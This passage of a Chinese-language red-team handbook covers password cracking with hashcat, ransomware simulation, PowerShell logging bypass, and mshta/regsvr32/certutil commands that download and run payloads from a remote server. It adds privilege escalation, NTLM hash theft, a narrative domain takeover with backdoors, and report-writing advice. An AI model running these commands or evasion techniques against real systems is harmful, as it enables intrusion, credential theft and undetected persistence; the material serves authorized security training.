[hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt

需要花费大约30min时间完成4个字符的尝试

hashcat应用：hashcat包括很多工具，可以帮助构建更好的密码字典。一个例子是组合器，它可以采用两个或3个不同的密码字典进行组合。使用小的字典速度相对较快。把我们的shortKrak字典与它自身结合，就会产生一个非常好的结果。

./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/ comboshortKrak.txt

使用排名靠前的Google 1 000字的列表会产生大约1.4 GB大小的字典文件，因此您必须小心地选择文件的大小。

./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_ 1000.txt > lists/google_top_1000_combo.txt

输入4MB文件，运行combinator，生成的文件大于25 GB的存储空间。因此，要注意这些文件的大小

很多时候，人们使用的密码不是常见的字典单词，而是基于公司、产品或服务的单词。我们可以使用客户端网站创建自定义密码字典。实现这个功能的两个工具如下。

Brutescrape - https://github.com/cheetz/brutescrape

Burp Word List Extractor -https://portswigger.net/bappstore/21df56baa03d499c 8439018fe075d3d7

接下来，输入所有破解的密码，分析它们并用来创建掩码https://thesprawl.org/ projects/pack/。

python ./PACK-0.0.4/statsgen.py hashes.password

python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks

python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q –o custom-optindex. hcmask

使用新创建的掩码，运行密码破解。

[hashcat] -a 3 ./custom-optindex.hcmask

通过Pipal获取密码字典，从而更好地理解基本单词，如图8.2所示。

图8.2

cd /opt/pipal

./pipal.rb hashes.password

查看密码字典，您可能会发现该公司使用resetme12345作为默认密码，公司可能位于密歇根州（底特律、老虎、足球）。

您的最终目标是什么？通过对不同的密码生成工具、分析技术和其他技术进行大量研究，可以找到更快的破解密码的方法。

8.4　创造性的行动

进入公司内部的红队，在行动中可能更有创造性。我经常进行的活动是模拟勒索软件。WannaCry爆发的时候，我们可以模拟勒索软件攻击。随着勒索软件攻击方式越来越流行，我们确实需要测试业务恢复/灾难恢复程序。

我们在现实生活中见证了WannaCry事件，WannaCry通过SMB共享横向移动，利用“永恒之蓝”漏洞，加密文件，甚至删除了主机系统上的所有备份。作为一个IT组织，我们需要确定的问题是，如果我们的某个用户单击了该恶意软件，会产生什么影响？我们可以恢复用户文件、共享文件和数据库等吗？我们一直听到的答案是：“我想是这样……”，但如果没有红队来提前验证这些流程，我们最后等到房子被烧成灰烬才会知道真正的答案。

这就是我喜欢为组织提供内部红队的原因。我们可以在受控环境中真正证明并验证安全性和IT是否正常运行。本书并不包括勒索软件的例子，因为这样做很危险。您可以自己构建工具，并在客户允许的情况下，开展相关测试。

下面是有关模拟勒索软件的提示。

某些组织实际上不允许您删除/加密文件。对于这些公司，您可以模拟勒索软件攻击。一旦恶意软件被执行，它所做的就是扫描主机/网络中的重要文件，将每个文件读入内存，随机交换一个字节，将这些字节发送到命令控制服务器，并包含元数据。这将演示您能够访问文件的数量，在检测流量之前可以从网络中渗透数据量，以及可以恢复文件的数量。

查看其他勒索软件样本，了解它们正在加密的文件类型。这可以模拟一个更真实的行动。例如，查看WannaCry中的文件类型。

如果您要“加密”恶意软件，使用一些简单的方法来做。它可以是带有密钥的标准AES，公钥/私钥x509证书，或某种按位“异或”。实现越复杂，无法恢复文件的可能性就越大。

测试、测试和测试。最糟糕的事情是发现公司无法恢复关键文件，并且您的解密过程不起作用。

许多下一代杀毒软件，根据某些操作自动阻止勒索软件。例如，勒索软件可能执行的正常检测是：扫描系统中所有类型为X的文件、加密文件、删除卷副本以及禁用备份。要规避检测过程，可以尝试放慢操作过程，或者尝试通过不同的流程完成相同的操作。

8.5　禁用PS记录

作为红队，我们一直在寻找独特的方法，尝试禁用任何类型的日志记录。虽然有一些办法来执行这些攻击，但我们仍在不断寻找新的简单技术。

以下是leechristensen的示例，可用于禁用PowerShell日志记录。

$EtwProvider = [Ref].Assembly.GetType('System.Management.Automation. Tracing. PSE twLogProvider').GetField('etwProvider','NonPublic,Static')。

$EventProvider = New-Object System.Diagnostics.Eventing.EventProvider –Argument List @([Guid]::NewGuid())。

$EtwProvider.SetValue($null, $EventProvider)。

8.6　在Windows中使用命令行从Internet下载文件

如果您通过应用程序漏洞获得执行权限，通过Office文件或PDF获得Shell，那么接下来的步骤可能是下载并执行后续恶意软件。对于这些情况，我们可以利用Windows“功能”完成工作。大多数例子来自arno0x0x和@subtee的研究成果。

mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))。

mshta http://webserver/payload.hta。

rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script: http:// webserver/payload.sct");window.close();。

regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll。

certutil -urlcache -split -f http://webserver/payload payload。

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\ v4.0.30319\ InstallUtil/ logfile= /LogToConsole=false /u payload.dll。

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.exe & payload.exe。

这些只是一些示例，还有大量的方法通过命令行执行后续代码。您可以找到隐藏传统日志记录的其他技术。

8.7　从本地管理员获取系统权限

有多种方式可以通过本地管理员账户获取系统权限。当然，常见的方法是使用Metasploit的getsystem，但这并不总是可用。decoder-it创建了一个PowerShell脚本，将本地管理PowerShell提示符转换为System权限，通过创建一个新进程，设置新进程的父进程为系统进程。可以找到这个PowerShell，并执行以下操作，如图8.3所示。

图8.3

PS> . .\psgetsys.ps1。

PS>[MyProcess]::CreateProcessFromParent(<processrun_by_system>,<command to_execute>)。

8.8　在不触及LSASS的情况下获取NTLM散列值

Elad Shamir进行了广泛的研究，并且清楚地分析了如何在不接触LSASS的情况下获取NTLM散列值。在这种攻击方法出现之前，Windows 10企业版和Windows Server 2016操作系统中提供保护机制——通过mimikatz访问LSASS无法获取散列法。Elad开发了一种称为Internal Monologue的攻击方法，操作方法如下所示。

如上所述，通过将LMCompatibilityLevel、NTLMMinClientSec和RestrictSending- NTLMTraffic更改为适当的值，禁用NetNTLMv1防护机制。

从当前正在运行的进程中，检索所有非网络登录令牌，并模拟关联的用户。

对于每个模拟用户，在本地与NTLM SSP交互，在模拟用户的安全上下文中，获取所选质询的NetNTLMv1响应。

恢复LMCompatibilityLevel、NTLMMinClientSec和RestrictSendingNTLMTraffic原始值。

https://github.com/eladshamir/Internal-Monologue，如图8.4所示。

图8.4

8.9　使用防御工具构建培训实验室和监控平台

测试恶意软件的一个比较有挑战性的工作是建立一个非常快速的测试环境。Chris Long构建的一个名为Detection Lab的强大工具是Packer和Vagrant脚本的集合，允许您快速将Windows 活动目录联机。该工具包含一系列主机安全工具和日志记录工具。检测实验室由4个主机组成。

DC：Windows 2016域控制器。

WEF：负责Windows事件搜集的Windows 2016服务器。

Win10：模拟非服务器端点的Windows 10主机。

Logger：运行Splunk和Fleet服务器的Ubuntu 16.04主机。

8.10　结论

对于红队来说，“欺骗”和技巧是能力的一部分。我们必须不断研究被攻击用户、系统，以及规避检测的更好方法。这需要数小时到数年的练习、汗水和眼泪。

第9章　两分钟的操练——从零变成英雄

随着时间的推移，这是测试的最后一天，您从外部开展突破，没有取得太多进展。您感到压力越来越大，因为您需要进入公司内部，了解公司的布局，获取敏感文件/代码，横向渗透到不同的用户和网络，并最终获取网络空间猫公司的秘密计划。您的任务是“窃取”新的火箭秘密，绝对不能失败。现在是进行两分钟演习的时候。剩下的时间不多了，您需要从10码线开始，突破所有的防守机制，清除障碍，移动到90码区域。

9.1　10码线

您回顾所有行动记录，尝试找出可能遗漏的内容。其中一个网页屏幕截图进入您的视线。这是CSK公司的论坛网站。您无法在应用程序中找到任何漏洞，但请注意，员工和公共用户都在CSK公司的论坛发布有关其太空计划的问题、评论和其他信息。

您在网站上搜索了所有用户，查找看起来是公司员工的账户。然后，您选用可靠的密码字典。您使用常用的密码和变换规则，对所有这些账户进行暴力破解。然后，您看到Python脚本运行失败……失败……失败……密码找到了！当看到其中一个用户Chris Catfield使用密码“Summer2018！”时，您笑了。这对您来说太容易了。接下来，您以Chris身份登录论坛，阅读他所有的私人消息和帖子，找出最佳的方法，获取最初的立足点。您看到Chris经常与论坛上的另一名内部员工Neil Pawstrong谈论太空计划。看起来他们不是现实中的朋友，但是有良好的工作关系。这很好，因为接下来的网络钓鱼攻击将是一个好的起点。使用Chris的账户，我们已经在两个用户之间建立了良好的关系，并且成功的可能性非常大。

9.2　20码线

您在考虑是否向Neil发送定制的恶意静荷，因为这可能太明显了。于是，您发送一个包含猫照片的网页链接，同时发送消息：“嘿，尼尔，我知道你喜欢猫！看一看我做的这个页面！”，如图9.1所示。

图9.1

几分钟后，您在论坛网站上收到Neil的一条回复消息说：“哈哈，我喜欢太空猫！”Neil没有意识到，他访问的网页有一个定制的JavaScript静荷，扫描CSK内部网络，并突破没有设置身份鉴权的Jenkins和Tomcat网络服务器。几秒内，Empire静荷回连，大功告成。

9.3　30码线

当您感觉兴奋时，您知道蓝队使用防火墙/ DNS /主机实施拦截，只是一个时间问题，因此必须快速行动。幸运的是，您已经设置了自动化脚本，完成大量的重复操作工作。突破的主机信标被激活，开始运行Bloodhound工具，查找本地密码，设置注册表项，捕获mimikatz LSASS密码，运行SPN并转储所有Kerberos票证，当然，还要在计划任务中设置持久性参数。

9.4　40码线

您知道需要快速离开这个初始突破设备。您获取所有Kerberos票证，将其转储成hashcat格式，并开始破解。您发现使用额外的Bug赏金购买的几个1080Ti GPU非常棒。当GPU开始破解时，您破解一些服务账户密码，但是您没有时间进一步了解。您查看了Bloodhound的输出，并了解到初始突破的设备属于Neil Pawstrong，他的域账户可以访问Buzz Clawdrin设备，如图9.2所示。使用WMI，您可以在远程Buzz Clawdrin设备上运行另一个静荷，然后迁移到Buzz所在的进程中。

图9.2

9.5　50码线

幸运的是，您同样是Buzz设备的本地管理员，这意味着这两个设备一定有很多关联。基于Bloodhound的输出，您遍历网络，发现了CSK公司实验室的设备，但要意识到您在这个系统上没有本地管理账户。不用担心，您加载PowerUp PowerShell脚本，查找该系统上的错误配置，这可能允许您访问本地管理员账户。正如您所想，系统服务的二进制文件有大量未引用的路径，您可以在这些路径编写自己的静荷。您可以快速创建一个新的恶意二进制文件，这些文件现在可以由本地系统服务触发执行。

9.6　60码线

您在第二个命令和控制设备上，获得了新的Cobalt Strike静荷连接，即使蓝队发现了行动中的蛛丝马迹，您也可以保持访问权限。当前连接具有系统权限，您搜索设备，在文本文件、浏览器和WinSCP配置文件中找到大量的凭证。这个共享设备是一个“金矿”，连接到多个服务器和数据库。您注意到此计算机位于不同的VLAN上。看起来这个系统可以访问Neil以前无法访问的多个系统。您再次运行命令，通过Bloodhound查看系统连接关系。您注意到，网络中很多系统无法访问Internet，因此您无法运行HTTP信标。但是，由于使用的是Cobalt Strike，因此您知道Cobalt Strike平台的一个特点是可以通过突破主机的命名管道（SMB）实现隧道传输。

这意味着在实验室VLAN网络中，已突破的系统可以通过CSK公司实验室的设备路由到互联网。此外，运行systeminfo命令，获取Windows Patch级别，您发现这些部分隔离的设备没有打补丁。看起来客户端计算机运行Windows 7操作系统，并且没有针对EternalBlue漏洞打补丁。

9.7　70码线

通过CSK公司的实验室设备，您可以使用修改后的EternalBlue漏洞在实验室网络中的众多Windows 7系统上生成SMB信标静荷。使用所有新Shell，您开始获取大量信息。您注意到其中一个系统与名为Restricted的远程Microsoft SQL服务器具有活动连接。您可以尝试实验室网络上的所有账户，但这些用户名和密码都不适用于此数据库。您回过头来查看所有笔记并意识到……您忘记了Kerberos“门票”！您可以通过SSH连接到破解设备，查看输出，查找链接到Restricted数据库的故障单。您找到了该服务账户的密码！

9.8　80码线

您登录Restricted 数据库并转储整个数据库。您很想在现场阅读，但知道时间有限。您使用一些PowerShell -fu压缩和加密转储，然后在不同的突破系统之间慢慢渗透，最后将其从网络移到命令和控制服务器。

您告诉自己做到了，但是当慢慢冷静下来后，发现仍有很多工作要做。您重新查看Bloodhound的输出结果，发现了Purri Gagarin的机器，它是帮助工作台组的成员。太棒了！我们可以使用这台主机，远程连接到域管理员的设备，或者通过Windows ACE，然后将域管理员的密码重置为我们选择的密码。我们继续前进，重置域管理员和Elon Muskkat的密码，生成具有域管理员权限的静荷！

9.9　90码线

我们需要做的最后一件事是转储域控制器的所有散列值，设置备份后门，然后离开现场。建议您运行mimikatz的DCSync获取所有用户的散列值和krbtgt票证，而不要采用网络流量较大（Shadow Volume Copy）的方法获取所有域散列值。我们现在有了“金钥匙”！如果我们决定再次访问网络，那么可以创建自己的Kerberos票证，直接获取域管理员权限。

在部署多个后门时，我们在不同的设备上应用多种技术。我们在其中一个用户系统上设置了粘滞键后门；使用Backdoor Factory技术，在另一个系统的常见二进制文件中隐藏恶意软件；设置计划任务，每周运行一次，回连我们的一个子域；在一个隔离的实验室设备上，用dnscat二进制代替一个无用的运行服务；并在不同系统启动文件夹，放置多个静荷。

幸运的是（但对于蓝队是不幸的），我们还没有被发现。但是，请记住，红队评估的目的是了解蓝队发现恶意攻击的速度有多快（他们没有这些活动），以及蓝队开展应急响应/取证和阻止攻击的时间。因此，最后您要通知蓝队，运行脚本https://github.com/EmpireProject/Empire/blob/master/data/ module_source/trollsploit/Get-RickAstley.ps1，关闭计算机。任务完成。

第10章　赛后——分析报告

在之前的“黑客秘笈”系列图书中，我们介绍了如何编写渗透测试报告，并提供了大量示例模板。这些模板非常适合作为标准的渗透测试行动周总结报告，但不适用于红队行动。正如本书所述，红队的主要任务不在于识别漏洞本身（尽管通常是行动的一部分），而是测试员工安全意识、工具、流程和员工技能。如果您的公司受到演练人员或坏人的攻击并被突破，您会给自己什么样的成绩？我一直反对使用差距评估分数、ISO分数、成熟度模型分数、标准风险分析、热图和类似报告来展示公司安全流程的真实样子。

就个人而言，在红队行动前，我希望看到公司安全防护取得真正的进展。例如，对于使用类似doppelganger的网络钓鱼行动，我们看到公司启用了以下某些功能。

使用DNStwist对与其公司类似的域发出警报。

受信任的外部电子邮件域列表。任何不匹配的外部邮件，都将在最终用户可见的电子邮件中附加标题，表示邮件来自外部（非公司），是未经批准的电子邮件来源。这有助于您的用户更轻松地识别网络诱骗行为。

如果电子邮件中的任何链接来自于代理中未分类的域，那么至少在单击时会提醒用户域未被分类。

禁止Office宏以及附件，强制采用受保护的视图和沙箱机制。

这只是公司可以实施的一些简单的措施，可以有效阻止攻击。

请记住，红队只需要找到一个可能危及环境的安全漏洞。但是，与此同时，蓝队只需要识别攻击者的战术、技术和程序中的一个环节，就可以防止网络被突破。因此，现在的问题是，如果从您的工具中发现攻击者的一个环节，并发出警报，您的应急响应团队多长时间可以发现并做出响应？

那么红队报告中的内容包括什么？红队仍然是新的领域，目前还没有标准的报告模板，我们可以根据客户的需求进行定制。从我的角度来看，由于我们可能会在整个行动中尝试多次进入某个环境（并且被“抓住”了几次），因此我们希望展示好的与坏的两个方面。

至于行动中记录的内容，许多工具（如Empire和Cobalt Strike）在行动期间都有详细的事件日志，但这些还是远远不够的。在行动中非常有用的方式是，搭建一个简单的网络服务器，记录红队成员执行的每项行动。在行动期间仅收集基本的信息，包括特定事件、服务器、描述、影响、任何警报和屏幕截图。大多数红队/渗透测试人员都不愿做记录，网络服务器提供了一种跟踪行动的简单方法，如图10.1所示。

行动结束后，我们搜集所有记录，并将内容组合在一起，形成红队报告，用于讲述故事。红队报告的主要部分可能包括以下几点。

简介/范围：本节需要明确说明行动的目标。例如，客户要求我们获取特定数据，例如域管理员、个人验证信息和IP地址，或者在生产网络服务器中查找标志。

提示：行动中的应急响应/取证团队复盘非常有意义。我们需要识别工具或传感器可能缺少的位置，从而造成无法执行取证或检测恶意行动。因此，我们希望提供命令和控制服务器的IP地址、使用的域名、二进制文件的MD5/SHA1散列值，电子邮件地址和IP地址信息，被钓鱼的被攻击者列表，以及可能有助于应急响应/取证团队开展工作的其他任何信息。

图10.1

攻击时间表：这是红队战役中的一个重要的部分，需要做充分的记录。时间表应充分描述所有主要事件、触发警报的检测时间以及主要的行动步骤。这将允许蓝队对比时间表和记录，查看有什么差距。在真正的攻击中，您能够询问攻击者所做的一切吗？这对防御蓝队非常有帮助。时间轴示例可能如图10.2所示。

图10.2

检测时间（TTD）/缓解时间（TTM）：通常我们可以使用蓝队报告中的TTD/TTM统计数据。总之，我们需要得到蓝队发现每次入侵的时间；扫描事件触发调查之前，经过了多长时间（如果有的话）；蓝队发现网络钓鱼活动需要多长时间。第二部分应讨论采取行动之前的时间统计数据。如果已经识别命令和控制通信或者网络钓鱼攻击，防火墙或DNS服务器阻止该域需要多少时间？我们经常看到公司可能擅长阻止域名，却无法阻止命令和控制服务器使用IP地址通信（反之亦然）。我们希望跟踪事件并且为客户识别事件。另一个重要的TTM衡量标准是他们能否快速隔离确定的突破系统。随着恶意软件变得越来越自动化，我们需要开始利用智能和自动化流程，将系统或网络的一部分与组织的其他部分隔离开。

来自应急响应/取证人员的反馈：我喜欢记录蓝队的反馈，也就是他们从防守的角度如何看待整个行动。我想要了解的是，如果蓝队按照安全防护的规定，由事件牵头人启动调查，管理层深度介入，安全部门与IT部门如何交互促使IT部门改变（防火墙拦截、DNS修改等），以及恐慌或保持冷静的人。

如前所述，红队的目的不是寻找漏洞或破坏环境（尽管这是有趣的部分），红队的目的是提升、改善组织的整体安全流程，并证明组织的安全环境存在某些差距。如今，许多公司对于安全流程过于自信，因此他们不会在被突破之前进行改变。通过红队，我们可以模拟攻击，鼓励做出改变，从而确保不会发生真实的攻击事件。

第11章　继续教育

我总是被问到的问题：“我现在该怎么办？我已阅读所有的“黑客秘笈”系列图书，参加了各种培训课程，并参加了很多会议！”。我现在可以给出的最好建议是，您应该开始从小的项目做起，并为安全社区做出贡献。这是真正测试您的技能的好方法。

下面列出了一些可能有用的想法。

设置博客和您自己的GitHub账户：您应该写下所有经历和学习内容，并与他人分享这些内容，这确实有益于您个人的成长。通过博客记录您所学习的内容将提高写作的能力，以一种更容易理解的方式解释漏洞/漏洞利用，确保您对内容的理解足够深刻，可以向其他人解释清楚。

您的简历应该是您的GitHub账户：我总是告诉我的学生，您的GitHub账户（或博客）应该能够独立存在。无论是各种小的安全项目，例如使得工具变得更高效和更有效，还是您自己的安全项目，您的工作都应该在GitHub上进行介绍。

在当地会议上发言：演讲可能会非常令人生畏，但如果您在简历上有演讲经历，您比其他人更容易进入安全领域。从哪里可以找到演讲的机会？我建议您从本地的聚会开始，找到可以参与的组织。这些组织通常很小，每个人都非常友好。如果您在加利福尼亚州南部地区，我创办并且经营LETHAL，这是一个社区性质的免费安全组织，组织成员每月见面一次。无论如何，参与其中！

Bug Bounties：无论您是攻击者还是防御者，赏金计划都可以真正地帮助您提升能力。HackerOne、BugCrowd和SynAck等Bug赏金计划可以免费注册。您不仅可以正大光明地赚到钱，还可以合法地破解目标网站（当然，需要在计划范围内）。

夺旗竞赛：我知道很难抽出时间做所有这些事情，但我总是告诉我的学生：安全不是工作：这是一种生活方式。访问CTFtime.org，挑选一些CTF比赛，在那些周末开始比赛，然后开始攻击。相信我，您在CTF周末可以学到更多的内容，比任何课程都多。

与您的朋友一起建立一个实验室：在测试实验室模拟公司环境，如果没有这样的测试环境，则很难在实际场景中开展行动。如果没有这个测试环境，那么在运行各种攻击性工具时，您将无法真正了解背后发生的事情。因此，必须构建一个全面的实验室，其中包含虚拟局域网、活动目录、服务器、GPO、用户和计算机、Linux环境、Puppet、Jenkins，以及您可能看到的所有其他常用工具。

向对手学习：对于红队来说，这是一个很重要的因素。我们的行动不应该是理论上的，而是复制另一次真正的攻击。密切关注最新的APT报告，并确保了解对手如何改变他们的攻击方式。

关注“黑客秘笈”系列图书：要了解最新的黑客秘笈新闻，请在此订阅thehackerplaybook。

培训：如果您正在寻找一些培训，可以访问thehackerplaybook网站。

致谢

本书贡献者

Walter Pearce

Kristen Kim

Bill Eyler

Ann Le

Michael Lim

Kevin Bang

Brett Buerhaus

Tony Dow

Tom Gadola

特别感谢

Mark Adams

Tim Medin（nidem）

SpecterOps

Gianni Amato

Casey Smith（@subTee）

Robert David Graham

Ben Ten（@Ben0xA）

blechschmidt

Vincent Yiu（@vysecurity）

Jamieson O'Reilly

Chris Spehn（@ConsciousHacker）

Nikhil Mittal（SamratAshok）

Barrett Adams（peewpw）

Michael（codingo）

Daniel Bohannon

Cn33liz

（@danielbohannon）

Swissky（Swisskyrepo）

Sean Metcalf（@PyroTek3）

Robin Wood（digininja）

@harmj0y

TrustedSec

Matt Graeber（@mattifestation）

David Kennedy（@HackingDave）

Matt Nelson（@enigma0x3）

FireEye

Ruben Boonen（@FuzzySec）

Igandx

Ben Campbell（@Meatballs ）

Alexander Innes（leostat）

Andrew Robbins（@_wald0）

ActiveBreach（mdsecactivebreach）

Raphael Mudge（@rsmudge）

bbb31

Daniel Miessler（@DanielMiessler）

pentestgeek

Gianni Amato（guelfoweb）

SECFORCE

Ahmed Aboul-Ela（aboul3la）

Steve Micallef

Lee Baird（leebaird）

SpiderLabs

Dylan Ayrey（dxa4481）

H.D. Moore

Rapid7（@rapid7）

TheRook

Will Schroeder（@harmj0y）

Ahmed Aboul-Ela（aboul3la）

Ron Bowes（@iagox86）

Emilio（epinna）

SensePost

Dylan Ayrey（dxa4481）

Sekirkity

George Chatzisofroniou（sophron）

Byt3bl33d3r

Derv（derv82）

Karim Shoair（D4Vinci）

Garrett Gee

Chris Truncer

HackerWarehouse

Anshuman Bhartiya

LETHAL

OJ Reeves

n00py

Ben Sadeghipour（@nahamsec）